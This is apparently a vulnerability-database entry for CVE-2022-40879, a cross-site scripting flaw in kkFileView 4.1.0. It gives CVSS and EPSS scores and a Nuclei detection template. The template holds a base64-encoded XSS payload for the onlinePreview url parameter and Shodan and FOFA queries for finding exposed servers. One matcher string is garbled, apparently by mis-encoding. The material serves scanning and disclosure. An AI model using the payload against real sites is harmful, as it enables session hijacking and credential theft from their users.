6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
6.4 Medium
AI Score
Confidence
High
0.016 Low
EPSS
Percentile
87.4%
kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the errorMsg parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
id: CVE-2022-40879
info:
name: kkFileView 4.1.0 - Cross-Site Scripting
author: arafatansari,co5mos
severity: medium
description: |
kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the errorMsg parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to a patched version of kkFileView or apply the necessary security patches to mitigate the XSS vulnerability.
reference:
- https://github.com/kekingcn/kkFileView/issues/389
- https://nvd.nist.gov/vuln/detail/CVE-2022-40879
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Henry4E36/POCS
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-40879
cwe-id: CWE-79
epss-score: 0.01698
epss-percentile: 0.8773
cpe: cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: keking
product: kkfileview
shodan-query:
- http.html:"kkFileView"
- http.html:"kkfileview"
fofa-query:
- body="kkfileview"
- app="kkfileview"
tags: cve,cve2022,kkFileView,xss,keking
http:
- method: GET
path:
- "{{BaseURL}}/onlinePreview?url=aHR0cHM6Ly93d3cuZ29vZ2xlLjxpbWcgc3JjPTEgb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPj1QUQ=="
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src=1 onerror=alert(document.domain)>=PQ</p>'
- 'θ―₯ζδ»ΆδΈ'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a0046304402205ff051a290a7b4323e101e8ecd1c1f705567e277eb9273290025454f35dda57e0220568ee1117cb034a32c1a75b9aec933f935242a50a6d4e86a0722bcbea68af77e:922c64590222798bb761d5b6d8e72950
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
6.4 Medium
AI Score
Confidence
High
0.016 Low
EPSS
Percentile
87.4%